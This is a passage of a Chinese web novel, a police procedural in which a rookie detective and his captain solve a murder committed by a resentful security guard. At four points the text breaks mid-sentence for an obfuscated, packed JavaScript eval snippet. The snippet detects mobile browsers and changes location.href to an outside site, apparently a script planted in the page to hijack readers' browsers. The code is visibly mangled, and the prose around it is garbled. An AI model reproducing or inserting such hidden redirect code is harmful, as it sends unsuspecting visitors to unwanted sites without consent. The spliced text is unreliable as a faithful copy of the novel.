“操,他也配当人爸爸?你不说我还以为你刚从人贩子手里逃出来呢!”喻沧州骂了一句脏话,又看向顾彦:“疼吗?” “还好,习惯了。” “操,你不会反抗是不是?”喻沧州骂了两句,看顾彦低着头不说话的样子,突然又说不出话了,他毕竟也只是个外人,就算今天一时兴起带他回家里来吃饭,他以后的人生呢?还要这样过吗?心里堵堵的,喻沧州开口道:“冷不冷,冷的话就去床上吧,床上开了电热毯。” 顾彦点点头,喻沧州就朝卧室的方向努努嘴:“那去床上去吧。” 那天喻沧州洗完澡以后,从浴室出来回到卧房,看到小孩已经睡着了。他想起自己这个年纪的时候,常常凉手凉脚,看到小孩安睡的样子,突然想起这件事来,就将手伸进小孩的被窝里摸了摸他的脚,没有很凉,就又抽回来。走到自己的那边,一上床,倒头睡了。 顾彦原本已经都睡着了,模模糊糊中感到有人碰到了他的脚,他倏地就惊醒过来,知道下一刻就要被拖出被窝暴打一顿了,可是那只手碰到了自己,却只是在自己的脚板上碰了碰,力道甚至带点怕吵醒他的轻,然后就又离开了。顾彦醒过来,这才意识到自己并不在自己家里,而方才碰到自己的那只手,也不是惯常噩梦中的那只手。心中突然一暖,顾彦在这个夜晚积累的所有温暖的情绪突然在此刻爆发到顶点,他突然要落下泪来。 就这样,人生中第一次,他抱着一种温暖感恩的情绪在大年三十的晚上安然入睡,除岁迎新,一夜酣眠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471586|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天便是大年初一。 大年初一原本是一个多么适合睡懒觉的好日子,然而顾彦那一天却不是自然醒的。准确地来说,他是被某人吵醒的。 虽然昨夜已经深刻的体会到某人睡姿到底有多不雅,两人分别盖着两床棉被某人还能过来抢他的被子,睡梦中睡着睡着就会把顾彦挤到边上,但顾彦还是在睁眼的这一刻被某人的睡姿震惊到了——窗外的阳光争先恐后地照进来,顾彦睁开眼,突然觉得身上有着重重的束缚,然后他再定睛一看,就看到了睡得一脸酣然的喻沧州正四肢大张八爪鱼一般地紧紧抱着他。 被某人大腿压住腰,胳膊压住肩而无法动弹的顾彦:“……” 被惊吓到,顾彦彻底没了睡意。于是他什么也没做,就那么躺在床上属羊。 过了一会儿,喻沧州不知道梦到了什么,明显是觉得当前这样的姿势还不够满足他,他动了动手臂,调整了一下姿势,就将顾彦更紧地锁进自己怀里。紧接着,他的脑袋凑近顾彦,唇已经凑在了顾彦耳边:“早上好宝贝儿。” “……” 丝丝缕缕的热气传入耳中,那话语中还带着亲密意味,顾彦彻底怔在了原地。 喻沧州原本还在美梦中,说完那句话没有听到回应,朦朦胧胧地睁开一眼,突然看到自己抱着的是昨夜带回来的小孩,“啊啊啊啊啊!”他倏地松开顾彦,“不是你听我解释,我不是恋童癖!我绝对不喜欢小孩!我在梦里面把你当成了别人。” 顾彦保持了他一贯话少的风格,什么也不说,就那么怔怔地看着他。小孩的眼睛黑,单纯,就越发显得他刚才的举止忒不是东西。 所以说他睡相到底为什么这么差! 喻沧州撸撸自己头上的毛,感到才大年初一的早上自己的烦躁值就已经达到了顶点:“总之我不是那个意思!绝对不是那个意思!你别误会小孩。” 他一边说着一边就赶忙起身去穿衣服,“起床起床,吃完早饭我送你回家。” 然而那个早上喻沧州并没有将顾彦成功送回家,但顾彦总是记得这个夜晚,在这个夜晚,他接收了前所未有的好运,于是从这一个大年三十的夜晚,他的人生也好像突然从某个泥沼中挣脱出来,脱弦之箭一般向另一个更好的方向飞去。 后来他又有了新的家人,有一个语文考了全班倒数第二不敢把试卷拿给爸妈签字就托他伪造爸妈签名的妹妹,有一对能让他吃饱穿暖不用再忧愁夜晚的到来的父母,他在新的城市和家庭过得很好,不用再愁交不上学费,不会在秋天寒风瑟起的季节穿着凉鞋去上课,也不会在A市湿冷的冬天夜晚被冻醒,可是他总是时常会想起这个夜晚,想起这个人。想将他抱在怀里细细安慰,也想一一触碰他与他温存。 他是他远在他乡的一份惦念,渐渐渐渐,这惦念越来越不满足,成了他无法宣之于口的一个欲望。 他想要他。 5. 第五章 近年来房地产行业形势大好,各地都在新建楼房,供大于需时,房地产又一度陷入低迷。但鼎盛天街同样是低迷时期建的,却不存在卖不出去这种问题,因为地盘靠近A市最好的一所大学旁边,周围又紧邻销品茂、地铁口和小吃街,鼎盛天街的住房几乎刚一挂出广告就已全部售磬。 小区管理员个子很高,人很瘦,但说起话来很有精气神,他替喻沧州开了秦振飞的房门,边往里走边说道,“看上去有点冷的一个人,一般都是独来独往。他买的这套房是单人户型,平时就只有他一个人居住。” 喻沧州走进去,只见六十来平方米的房间很简略地摆了一张床一张书桌和一个沙发,进门是开放厨房,厨房里的灶台看上去很干净,不像用过的样子,只靠墙的柜子上放着微波炉,上面溅着点油渍,这才看出点平日里开伙的痕迹。 “那他平日里会和邻居往来走动吗?会发生口角吗?”喻沧州问道。 “那不会。这栋楼里的住户都不太走动,生活上各过各的,很少发生口角。” 公寓的门口正对阳台,一进门就能看见远处的商厦和建筑。喻沧州又走到阳台上望了一眼,只见鼎盛天街西面是销品茂和地铁口,乘地铁口向西再行一站就能到鄂江大学。从鄂江大学、销品茂到鼎盛天街这里还能算城市商圈,鼎盛天街再往东,就是一些老旧的居民区以及城郊更荒凉的区域了,直到南湖。 喻沧州在阳台上环视了一圈后对身旁的小区管理员说,“那行,今天就谢谢您了,我要是有问题再打电话联系您。” 喻沧州走到楼下,正好碰上苏小小,“喻队,我刚才问过门卫了,门卫说已经有三四天没看见秦振飞回来过了,说秦振飞平日里都是一个人独来独往,没什么朋友和亲戚,对了,门卫还说他父母应该都在国外,平日里也没怎么见他们来看他,这还是有一次秦振飞父母给他寄快递,门卫代收才知道的。” 喻沧州点点头,正准备说些什么,正在这时,电话响了,他接起来,是一个不认识的号码,对方的声音却方才听过,好似冬日里的松木,非常沉静,“喂队长是我,我是顾彦。” 喻沧州嗯了一声,电话那头顾彦继续说道,“我现在鼎盛天街出来向东走的第二个巷口这里,你能过来一下吗?” 喻沧州挂了电话,对苏小小说道,“是顾彦,说他在一个小卖部门口等我们,好像是有发现。” 鼎盛天街向东走,A市特有的浓厚的居民生活气息不变,沿途都是卖早点的摊子,人来人往熙熙攘攘,房屋的颜色却开始变得灰暗,建筑也倾向于变得低矮老旧,喻沧州走到第二个巷口,顾彦正站在一根电线杆旁边等着他。在顾彦身后,是一个有些老旧的小卖部,小卖部面积不大,不过五六个平方米,一眼能望得见头。靠近巷道的那一面墙体已经有些斑驳发黑,小卖部里面没有开灯,因此光线显得略微昏暗。 喻沧州一见这情形,就顿时眯了眯眼。 顾彦站在不远处,手插在兜里,喻沧州正要抬腿靠近,顾彦已经一抬头先一步发现了他,“队长,你们到了。我刚才说的就是这个小卖部。” 不用他解释太多,喻沧州已经知道了顾彦的意思,他三步化作两步地走过去:“怎么留意到这个小卖部的?” “反正也没被分配到什么任务,你们去调查社会关系的时候我就自己一个人在鼎盛天街附近到处瞎逛。”顾彦回答道,“逛到这里的时候,看到守屋的人是个高中人,等了一会儿又觉得不太像有大人会回来的样子,就觉得和你说的情况有点像。” “好,好样的。”喻沧州点点头,“我们现在进去看看。” 小卖部规模并不大,一个玻璃橱柜摆出来,几乎拦住了店内四分之三的门面。和别的小卖部门前还会圈出一块地方专门用来卖杂志、报纸、水果不同,这家小卖部只有店内的地面属于营业范围。这会儿天光不是很亮,店面门口的光线又被马路对面的高楼大厦所笼罩,因此店内几乎可以算得上昏暗。总的来说,这是一间营业范围没有别人广又不太惹人注目的小店。 喻沧州抬腿走进去,只见玻璃橱柜后面坐着一个平头少年,个子很高,人有些瘦,正拿着一支笔在一个本子上写着什么,看上去好像在算账。少年的身后是一排玻璃壁柜,壁柜上放着康师傅冰红茶、阿萨姆奶茶、青岛啤酒等一系列饮品,在壁柜的一侧,则是一个可通到房间后面的门。 少年见有人走了进来,连忙停了手里的动作抬头招呼客人:“请问你们要买什么?” 喻沧州没有搭理他,只是长腿一迈兀自绕过玻璃橱柜继续往里走,少年原本正在算账,见店里突然一下子来了三个人什么也不说就要往里闯,顿时脸上有些慌,将刚才的问题又重复了一遍:“你们……要买什么?” “不急,四处看看。”从前门到后门没有多少距离,喻沧州一边应付着,一边加快了脚步。 几步上前去到后门一撩门帘,借着屋内昏暗的光线,喻沧州看清了后屋的情形——放下了一张木床以后,后屋基本上就不剩下什么空间了,只留下一个窄窄的过道供人行走,在木床的后面,一个帆布式的简易衣柜和一个二节煤炉相对而立,摆设越是简洁反而越是显得空荡荡,显而易见,这就是这少年所有的家当了。这么一个结论让喻沧州的眼神开始变得深邃起来。 少年见此情形,终于意识到有什么不对,他急忙大声问道:“你们到底要干什么?!” 没有人理他,少年一边警惕地看着这三个人一边就从身下的椅子旁边摸出一个双肩包抱在怀里准备突围出去,然而小卖部的正门被顾彦和苏小小堵着,小卖部的后门口立着个喻沧州,这好似天罗地网一般的阵仗,他哪里跑得出去呢。就在少年抱着双肩包打算硬往外冲的时候,喻沧州长臂一伸一把揪住他的后领将他带了回来。紧接着,砰的一声,下一瞬少年就被喻沧州紧紧压在了玻璃橱柜上,喻沧州凉凉的声音在他耳边响起:“跑什么?我们三还能吃了你不成?不做亏心事,怕什么半夜鬼敲门?”喻沧州一手压住少年,另一只手则将兜里的证件再次掏了出来。 在少年眼前晃了一晃后,他说:“我们是警察,我们现在怀疑你和一桩杀人案有关,跟我们走一趟吧少年。” 审讯室内,少年盯着桌上某一处双目放空,脸上的神色恍惚又戒备。 方才,自从喻沧州在小卖部里秀出自己的人民警察证以后,少年就好似认命一般一下子卸去了所有的力气。可是却也从那一刻起再也不说话,无论喻沧州问他什么,同他聊什么,他都闭口不言,好像被隔绝在另一个世界。 喻沧州抱着双臂,右腿搭在左腿上,在不甚舒服的审讯椅上跷了个二郎腿,“不回答是吧?不回答我就不知道你叫什么了?当人民警察是饭桶呢?朱骁,男,十六岁,鄂高高二七班的学生,父母离异后抚养权归了父亲朱经国,然而朱经国两年前因酗酒去世了,所以你现在与奶奶谢桂芳住在一起,怎么样,我说的没错吧?” 审讯室内一片寂静,无人理他,喻沧州也不太在意,他手指弯曲轻轻敲了敲桌面,兀自问盯着桌面发呆的少年道:“认识秦振飞吗?怎么认识的?” “……” “最近去过南湖吗?去那干什么了?” “……” “知道这个人是谁吗?”喻沧州从桌上推过来一张照片,“见过吗?” “……” “不回答?死都不开口?行吧,那你认识这个钱袋吗?”喻沧州将证物袋往桌上一抛,就向身后的椅背上靠去,眼睛一眨不眨地盯着朱骁——证物袋里装着的正是那个装着一千三百七十二块五的布袋。 桌子对面,原本盯着桌面一动不动好似傀儡的朱骁一看见那个证物袋,脸上面具一般的神情就顿时出现了裂缝,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471587|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你在哪里找到的?!” 喻沧州笑了笑,嘴角勾起一个讽刺的弧度,“南湖。” “那么现在回到上一个问题,你最近去南湖做什么了?” 朱骁瞪着喻沧州,终于意识到自己陷入了对方的陷阱。没过多久,他懊丧地撇过头,又恢复了那副不愿说话的神情。 至此,喻沧州那平静无波的脸上终于有了一丝怒气,“你是不是以为你不说我就拿你没办法?我告诉你,只要证据链完整,证据之间相互印证,照样可以定罪!” “……” “行吧,不愿意说是不是?不愿意说那你就在这待着吧,审讯时间12小时,你就在这给我待满12小时再出去!” 喻沧州砰地起身,出了审讯室。方才在审讯室里差点发火,但出了审讯室反而渐渐冷静下来。其实进了审讯室以后不肯交待的嫌疑人很多,嫌疑人警方两方僵持,这种时候基本上就是打心理战的时候了,谁素质更硬技巧更诡谲更能骗过对方,谁就能赢。朱骁既然不肯说话,如今之计,只有找到那个切入口,才能让他交待。 走廊上,喻沧州见苏小小朝自己快步走来,知道她大概是刚从哪里回来,开口问道,“又查到什么了吗?” 苏小小走到他身前:“刚才查到朱骁的奶奶谢桂芳三个月前住院了,肝腹水,晚期,医院说朱骁对他奶奶特别孝顺,昨天还去医院看望过谢桂芳,给他带了换季的衣物。”苏小小顿了一下道,“喻队,会不会是朱骁因为谢桂芳住院缺钱所以绑架并杀了秦振飞啊?” “看起来不太像。”一道声音插进来,喻沧州转过头,发出声音的人是顾彦。 顾彦自从方才喻沧州进了审讯室就一直在审讯室外观摩,他一个人好似一颗孤松站在那,惯来没什么存在感,但喻沧州却发现,和刚才找到朱骁一样,只要他行动,他就会扼中要害,喻沧州饶有兴味地看着顾彦开口道:“哦,那你说说看你的看法?” 顾彦:“你们有没有留意到,虽然现在镇静下来了,但朱骁刚刚进审讯室的时候手是一直在发抖的,而他一直到现在手还紧紧握成拳,这种不放松其实是一个害怕的姿态。一个连审讯室这种地方都会害怕的人,我不认为他绑架别人以后还能镇定到想到换季衣物这件事情。” 喻沧州:“所以你认为?” 顾彦:“所以我假想,这个案件中应该还有另外一个主使者。” 走廊之内一时寂静,喻沧州盯着顾彦很久都没有开口说话。他的目光带着压迫性,顾彦却丝毫不以为意,“让我试试吧队长,十二小时说长不长,一眨眼就过去了。若是真的还有另外一个主使者,我们更要抓紧时间。队长,让我来审讯朱骁吧。” 喻沧州听了顾彦的话,转头望向审讯室,那一段时间的沉默,谁都不知道他在想什么。良久,顾彦终于看见他轻轻地点了点头。 顾彦走进审讯室,审讯室内,朱骁保持着之前的坐姿,见换了人进来,他也毫无反应,只是发呆一样地盯着桌面,兀自沉浸在自己的世界。 顾彦将喻沧州先前拿出去的证物袋又带了进来,轻轻放在桌上,“一千三百七十二块五,这么零碎,数额又这么小,这里面应该是你的全部家当了吧。” “事后没有去湖边找一下?我猜你应该是去了,不过没找到。运气还挺好的,正好赶上暴雨,就算去了,脚印也都被冲走了。” “妈妈在离异那年就直接另嫁了,朱经国酗酒,想必也是经常打人,单亲家庭的生活是不是有点难过?”顾彦手指抚上证物袋,动作轻柔间带着一丝小心翼翼,他看向朱骁,突然道,“笔袋……非常漂亮,奶奶缝的吧?” 他这句话刚落,早在他问完第一个问题眼眶就已经发红的朱骁突然嚎啕大哭起来。 “奶奶还在医院呢,不想早点出去看她吗?那个人对你做了什么,让你这么死心塌地地听他话?” 6. 第六章 A市火车站始建于1890年,于上世纪初完工,自A市火车站建成伊始,那时的绅商们就一直对A市火车站的位置不太满意,屡次登报申请迁址,但最后都是不了了之。直到1991年,A市火车站迁至如今的地址。 如今的A市火车站临近市郊,绿化良好,站外的广场上整整齐齐的两排绿树。此时正是下午六七点钟,天已经有些擦黑了,取票口外排了长长的几队长龙,不远处摆满了卖小吃的摊子,四周来来往往的旅客风尘仆仆,络绎不绝。 一个穿着黑色皮衣的男人从取票口的长龙中走出来,他戴着一副黑色墨镜,个子不高,皮肤黝黑,他的东西并不多,只简洁地提了一个长形的黑色行李包,火车票被他攥在另一只手里。他常年做着保安工作,警惕度已经训练的非常可以了,周围的人或是刷着手机,或是靠着行李发呆,或是行色匆匆,他装作不经意地四下留意了一圈,发现并没有人注意到他,他放下了心,提着行李走向进站口。 现在想想,这几天发生的一切就像一个梦,但他并不后悔这样做。 他做着保安工作已经很多年了,保安的工作非常清闲,但与此同时工资也没有多少。为了保护小区居民的安全,他每天像狗一样地在小区四处闲晃,得以换来一份打发叫花子的工资。一年前,他来到鼎盛天街工作。 他留意那个少年很久了,他几乎每次出现都是满身的名牌,有的牌子比较大众他会知道一点,有的牌子根本认不出来,但通过版型和样式他就知道价格不菲。有一次他在路边碰见他,他的车的副驾上还有一个女孩子,他对那女孩子说了什么,惹得那个女孩咯咯地笑,他抬眼望去,看见他将手中还未拆封的一个iphone手机递给了女孩,女孩一脸欢喜,同他抱在一起亲吻起来。 因为要登记所以他有一次看过那个男孩的身份证,知道他叫秦振飞,今年才二十五岁。同在保安室的老梁有一次闲聊时曾经告诉过他,说秦振飞的父母都在国外,老梁有一次帮他收快递来着。 二十五岁,回到保安室以后,他坐在座位上怔怔地想,才二十五岁,二十五岁的时候他在干什么呢?那个时候他刚来到A市,手上没有钱,又还没有找到工作,就找了个长途汽车站,每天白天出去找各种短活干,晚上回来了就在长途汽车站里将就一晚。一日三餐是包子,渴了就去厕所喝自来水。因为和他一起蜷缩在长途汽车站里的人过的都是这种生活,所以他也就这样过过来了。可是同样在这个城市,同样在这个年纪,却有人过着与他完全不一样的生活。不是没有留意过人和人阶级之间的差异,可这是第一次,他意识到了人与人之间的差异是如此悬殊。他有些低落,他为此颓丧了很长时间。 一个午后,他照旧在值班室里值班。阳光有点好,他值着值着就一不小心睡了过去,再醒来时只听见一声尖锐的鸣笛,他猛地一个钓鱼颠醒,值班室外,秦振飞坐在车里一脸不耐,“开门啊,喊你好几遍你都不醒,怎么着,你们上班还能睡觉??”——他们小区的自动门闸日常是关着的,住户需要开车进出的时候只有让保安帮忙开门才能打开自动门闸系统。 远处有刚买完菜的住户走路进小区,担心有人围观投诉,他不敢怠慢,连忙摁开了开关。门闸起落架抬起,秦振飞脸上神色却不见好转,“一群只知道领钱不知道工作的饭桶。”秦振飞嘟囔了一句,脸上的神情像嫌弃垃圾,就开车径直离开了,只留下值班室里的他阴郁很久。 又是一个夜晚,他在小区里巡逻,正好碰见秦振飞从楼上走下来,秦振飞所站的那个位置正好是个监控盲区,他干这一行干太久了,只要看到监控位置就能立马领会到哪些地方是监控盲区,那一瞬间,他突然有了一个想法,一个能纾解他这些天接连不断的阴郁的想法。他为着这个想法战栗起来—— 他用随身的保安胶棍将秦振飞敲晕,将他带离了小区。彼时已经是深夜了,街上并没有多少人。他原本的计划是打算将秦振飞带到自己家,但奈何他还没有走出小区多远,秦振飞就有了要醒转的迹象,他连忙对着身上的人又补了一棍。离他自己的家还有一段距离,为担心出任何变数,他不敢再带着秦振飞往前走。他想起附近有个小卖部,小卖部的店主是他老乡,最近住院了,不过她有个孙子叫朱骁正在上高中,应该还在店里,他和这两人关系还不错,平日里没事的时候就会去他们的店里坐坐,想到这里,他决定将秦振飞先带到小卖部,然后再见机行事。 到了小卖部店里,朱骁并没有像他想象中的那么好糊弄,他大声质问他背着的昏迷的人是谁,他懒得理他,他知道朱骁的软肋是他奶奶最近住院,他现在急需要钱,他以事成以后付给他一万块为要挟,让朱骁帮他把秦振飞抬到小卖部平时储藏货物的储藏间,朱骁应了。谁知到了储藏间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471588|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后,秦振飞却再次转醒,看清是他以后,秦振飞脸上再次露出了那副如审视社会垃圾一样的神情,“呵,你们这是要绑架我?警察会……”秦振飞的话没有说完,那一瞬间他没有犹豫,他拿出了自己平时巡逻用的强光手电筒,对准秦振飞的脑袋砸了下去! 眼睁睁地看着一个人在自己手下变得没有呼吸是一种怎样的感觉? 他不知道别人是一种什么样的感觉,至少在他自己看来,他觉得有种别样的战栗,这些占用了社会资源还自诩为人上人的人,他们有什么资格嘲笑他。或许他本来就有着反社会人格,只是一直以来压抑了下来。他转过头,用一双猩红的眼睛看着朱骁威胁他不许将今晚的事情说出去,那帮警察个个都是饭桶,且不说能不能被他们抓到,就算被抓到了,只要抵死不认,他们也没有办法。 紧接着,他依旧以一万块为诱饵让朱骁陪着他把尸体扔到了南湖,然而在朱骁事后向他追要那一万块钱的时候,他却坚持耍赖不肯给。一个连社会都没出过的高中生有什么好怕的,分分钟就摆平了。这就是昨天晚上发生的事情的所有经过。 想到这里,他下意识地摸了摸裤子口袋。已经进了进站口,他忍不住想抽根烟。 打火机不知道在什么时候被落在哪里了,烟不能抽,有点可惜。 没关系,不能抽就不能抽吧。他紧了紧手里的行李袋,转身向候车站台走去。 A市火车站已经是一个年头很老的火车站了,老意味着破败,意味着陈旧,意味着容易滋生渣滓。沿着候车站台的墙边,靠着墙或坐或站着一些衣着脏乱的民工,就像年轻时候的他自己,他本应该心生怜悯,但他并没有,他想着那个令他战栗的时刻,知道自己即将逃离这里。 不远处传来一阵杂乱的脚步声,但他没有太在意,火车站这种地方,什么场景都不用太见怪。 没有关系,他就要离开这里了。那些饭桶一样的警察,是不会这么快赶来的。如果他们不能在今天抓住他,那么他们就再也无法抓住他。他就要离开这里,去一个新的城市开始新的生活。 然而下一刻,他被人扑倒在地,双手被剪在背后,有什么东西冰冰凉凉地扣上了他的手腕。 他睁大了双眼。 与此同时,有一个冷硬的声音在他身后响起。 “赵昌是吧,终于逮到你了,不容易啊。” 7. 第七章 审讯室内,喻沧州跷着二郎腿坐在桌边,这是他24小时内第二次坐在这个位置,唯一不同的是对面的人由小卖部的朱骁变成了保安赵昌。 “终于见面了,我们来聊聊吧。你在鼎盛天街工作一年多,认识秦振飞吗?平时和他有过节吗?” “认识。他是我们小区的户主,我和他没有过节。”赵昌从善如流地回答道。 和朱骁在审讯室的紧绷状态不同,赵昌此时脸上的神情几乎能算得上镇定,姿态也非常放松,只那一双微微颤抖的手泄露了他此刻的真实心情,喻沧州看了他一眼:“本月十号晚上十点到十一点的时候你在哪里?” “我在小区值班。” “小区的监控显示你十点以前还在小区巡逻,十点以后小区的监控里就看不见你了。值班室里也没有你的人,那段时间你去了哪里?” “那时我去了一个老乡的店里喝了会茶。” “老乡的名字叫做?” “朱骁。” “你一个人去的?” “一个人去的。” “撒谎!”喻沧州坐直了身体,逼近赵昌道,“朱骁明明说你是背着秦振飞去的他的店里!” “朱骁认识秦振飞吗?他连秦振飞都不认识,怎么可能指认我背着秦振飞去他店里?”赵昌抬起眼,嘴角勾起一个弧度,到了这个时候他反而不紧张了,“警官,我那晚真的是一个人去他店里喝茶去的,就算我擅离职守有什么过失,我也已经辞了职。我不知道我一个人去他店里喝茶有什么罪。” 喻沧州看着赵昌,心渐渐沉了下来。 赵昌这番行为其实非常狡猾,刑侦只负责破案,而后续的审查定罪工作是要移交检察院和法院的。在后续检察院审查的过程中,决定当事人是否犯罪非常重要的一点就是证据链是否完整,一条完整的证据链至少要包括两项独立来源的证据 。就算刑侦手里现在已经有了朱骁的证词,但有利于破案的核心物证他们几乎一件都还没有收集到,无论是行凶器具亦或是监控视频,现在情况就对他们非常不利。 喻沧州稳了稳心神,开口道:“你是不是认为只要你抵死不承认我们就没有办法了,我告诉你,只要证据链完整……” “那你还在这里审讯我做什么呢?”他话还没说完,赵昌已经打断了他,“为什么不直接逮捕我呢?” “……”喻沧州神色骤然变冷。 正在这时,兜里的手机丁丁零零地响了起来,喻沧州没好气地接起来:“喂。” “喂喻队,我是苏小小,我们在朱骁供认的仓库找到了强光手电筒,手电筒上发现了秦振飞的血迹和赵昌的指纹,朱骁的指纹不在上面。根据秦振飞头部的锉裂伤,可以确定手电筒就是致死凶器。” “知道了。” 喻沧州挂了电话,“你不是一直觉得只要不承认就可以安然走出这间审讯室?方才在你平时巡逻用的强光手电筒上发现了秦振飞的血迹,证据链完整了,如你所愿,现在可以逮捕你了。” 赵昌神色骤然变得不可置信:“不可能!我明明将手电筒扔在了南湖!!过去这么久,手电筒上的指纹不可能还在!” “那你又怎么确定你扔掉的就是你自己的手电筒呢?在你忙于处理尸体的时候,朱骁会不会将你的手电筒和仓库的手电筒调换了呢?” 不敢相信这样的事实,赵昌的眼神顿时癫狂起来:“不能抓我,你们凭什么抓我!凭什么这些人这么有钱活得这么快活老子就要拼死拼活地工作一个月月薪还比不上他的一件衣服,凭什么?!” 赵昌还在咆哮,喻沧州已经走出了审讯室,在审讯室发疯的嫌疑人很多,他早就已经见怪不怪。 出来审讯室,顾彦正好在和朱骁告别。 昨夜顾彦套出朱骁的话以后,曾经问过朱骁,“既然你都不是凶手,为什么进审讯室还那么抵抗?” 喻沧州在审讯室外听见朱骁回答,因为他毕竟参与扔尸,总是觉得心虚。 顾彦当时对朱骁说:“在这个世界上,每一个人自责的限度都不太一样,有人因为一点点小事就以为自己犯了天大的过错,有人即使触犯法律也仍旧觉得是所有人欠他的,但只要你行得正坐得直,对内无愧于自己,俯仰无愧于天地,就不用给自己太多枷锁。” 喻沧州此时想了想顾彦说的那番话,不得不说虽然他文化水平不高,但想起这番话来竟有一种奇异的熨帖。 喻沧州又回顾了一下这两天以来,顾彦在这个案子里的表现,不得不说,作为一个刚毕业的公安院校的学生,他的表现实在是可圈可点。人天生喜欢亲近靠谱的人,此时,喻沧州站在夜色里,发现自己对这未来的队友兼室友莫名多了一份认同和赞赏。 天已经有些晚了,微凉的夜风打在露在外面的皮肤上,激起一阵凉意。喻沧州走向顾彦和朱骁,顾彦开口道:“队长,朱骁要回去了。” “哦行啊,那小伙子……”喻沧州正准备潇洒地同朱骁说再见,突然想起什么,“那什么等一下你们等等我,我马上回来。” 顾彦愣了愣,正想问他要干嘛,就看见喻沧州出了警局大门向左边跑去了,顾彦第一天来警局的时候观察过地形,知道那里有一个自动提款机。很快,喻沧州就跑了回来,手里是刚刚从提款机取出来的热乎乎的毛爷爷,他揣着手里的钱硬要塞给朱骁,朱骁摆着手推辞,“这个,这个我不能要的叔叔。” “小子,拿着,你的钱还在证物袋里目前不能还给你,你要是不想欠我钱,等以后有钱了还给我就好了。” 朱骁自从奶奶谢桂芳三个月前住院后就独自一人运作着小卖部的周转,与此同时他还要抽出时间去医院照顾奶奶,再加上繁重的学业、这几天的心神不宁,此刻喻沧州硬要塞给他钱算是三个月来难得有人关怀他的时刻,因此他顿时眼眶就红了。见喻沧州姿态坚决,他没有再坚持,“那就谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471589|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叔叔了,等我以后有钱了,就来还你钱。” 喻沧州应道:“没问题。” “那叔叔,顾彦哥,我先走了。” 顾彦:“好的。” 无缘无故被喊老了一个辈分的喻沧州:怎么好像觉得有哪里不对??? 眼看着人已经渐渐走远,喻沧州转过头来看着顾彦,“走吧我的新室友小同志,队长带你回家。” 昨夜因为要审朱骁,喻沧州在警局审到凌晨两点,顾彦自然也跟着喻沧州在警局待到两点,后来因为时间太晚,喻沧州觉得不如索性就在办公室将就一夜,于是就这样,顾彦在鄂江分局工作的第一天,就是睡的办公室。此时,喻沧州一想到自己已经整整两天没有回家了,就格外想念自己的那个狗窝。 去苏小小车里取了行李以后,喻沧州带着顾彦回了家。 照旧要穿过早上来时必经的菜市场,只是同样的一条路,此时人烟稀少,夜色寂静。小区里人也很少,行李箱拖在路上能听得见滚轮滑动的声音。喻沧州带着顾彦进了门,就将他引到家里的客房,“在员工宿舍下来前你就住这间房。厕所就是洗浴间,刚才进门的时候已经指给你看过了。我俩晚上都没吃晚饭,你要是饿了厨房有泡面,冰箱里有鸡蛋,用微波炉加热就能熟。我去冲个澡,你不用管我。” 喻沧州说这话的时候眼眶已经红了——缺觉缺的。他其实是这样一种人,有案子压身的时候,什么苦都能吃,可以不吃饭不睡觉连着36小时查案子,但是一旦案子结束,他就好像精气神顿时被抽走,该缺的觉必须立马补上。因此此时,喻沧州一回到家,想做的第一件事就是赶紧囫囵冲个澡了好回到床上睡觉。 喻沧州去洗澡了,顾彦就一个人打开行李箱开始收拾东西。其实他早就看出来喻沧州困了,喻沧州也没必要对他说那么多,这个房子他小时候住过,他都了解。但他还不想那么早告诉喻沧州,他想,或许要等时机成熟的时候再告诉他才好。等到行李都收拾好了,他一个人转到厨房,在橱柜里发现了挂面,冰箱里的材料其实全的,西红柿、鸡蛋、虾、鱼丸应有尽有,顾彦就打开锅炉下起了面条。 喻沧州的声音是在面条煮得半软的时候响起来的,顾彦听见他喊,“小同志你过来一下。” 顾彦不明所以地走去浴室门口,就听见喻沧州隔着一道门对他说:“小同志,我刚刚进来的时候太急,忘记拿换洗衣物了,你去衣柜抽屉里帮我拿一套。” 